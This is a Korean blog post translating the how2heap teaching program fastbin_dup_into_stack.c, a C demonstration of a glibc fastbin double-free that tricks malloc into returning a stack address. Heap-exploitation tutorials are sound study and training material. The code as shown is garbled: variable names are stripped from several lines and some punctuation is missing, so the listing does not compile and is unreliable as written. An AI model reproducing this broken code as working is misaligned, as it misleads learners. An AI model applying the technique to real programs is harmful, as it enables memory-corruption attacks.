본문 바로가기

system

[how2heap translation] fastbin_dup_into_stack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdlib.h>
 
int main()
{
    printf("이 파일은 fastbin_dup.c 에서 확장되어 malloc의 return address를 컨트롤(이 경우에서는 스택)할 수 있도록 한다.\n")
 
    unsigned long long stack_var;
 
    printf("우리가 원하는 malloc의 return address는 %p 이다..\n"8+(char *)&stack_var);
 
    printf("먼저 세 개의 버퍼를 할당한다.\n");
    int *= malloc(8);
    int *= malloc(8);
    int *= malloc(8);
 
    printf("1st malloc(8): %p\n", a);
    printf("2nd malloc(8): %p\n", b);
    printf("3rd malloc(8): %p\n", c);
 
    printf("첫 번째 chunk를 free한다....\n");
    free(a);
 
    printf("만약 %p 를 다시 free 한다면, crash가 일어날 것이다. 그 이유는 %p 는 freelist의 가장 맨 위에 있기 때문이다.\n", a, a);
    // free(a);
 
    printf("따라서, 대신 우리는 %p를 free한다.\n", b);
    free(b);
 
    printf("이제 %p 가 freelist의 맨 윗쪽에 위치하지 않기 때문에 %p 를 다시 free 할 수 있다. \n", a, a);
    free(a);
 
    printf("이제 freelist는 [ %p, %p, %p ] 를 가지고 있다. 이제 %p 의 데이터를 수정함으로써 공격을 수행하겠다.\n", a, b, a, a);
    unsigned long long *= malloc(8);
 
    printf("1st malloc(8): %p\n", d);
    printf("2nd malloc(8): %p\n"malloc(8));
    printf("현재 freelist는 [ %p ] 이다.\n", a);
    printf("이제 우리는 %p 가 freelist의 맨 윗쪽에 남아있는 상태에서 접근할 수 있다.\n"
        "우리는 stack에 fake free size(이 경우에서는 0x20)을 써서,\n"
        "malloc이 그곳이 free chunk라고 생각하고 return address 주소를 그곳을 가리키도록 할 것이다.\n", a);
    stack_var = 0x20;
 
    printf("이제 우리는 0x20의 바로 다음 주소를 가리키기도록 %p 에 위치한 첫 8byte를 덮어 씌울 것이다.\n", a);
    *= (unsigned long long) (((char*)&stack_var) - sizeof(d));
 
    printf("3rd malloc(8): %p, stack address를 freelist에 추가한다.\n"malloc(8));
    printf("4rd malloc(8): %p\n"malloc(8));
}
 
cs

'system' 카테고리의 다른 글

[how2heap translation] unsafe_unlink.c  (0) 2017.03.03
[how2heap translation] unsorted_bin_attack.c  (0) 2017.02.07
[how2heap translation] fastbin_dup.c  (0) 2017.01.10
MP3 CD Converter Exploit  (0) 2016.11.22
SEH(Structured Exception Handler)  (0) 2016.11.17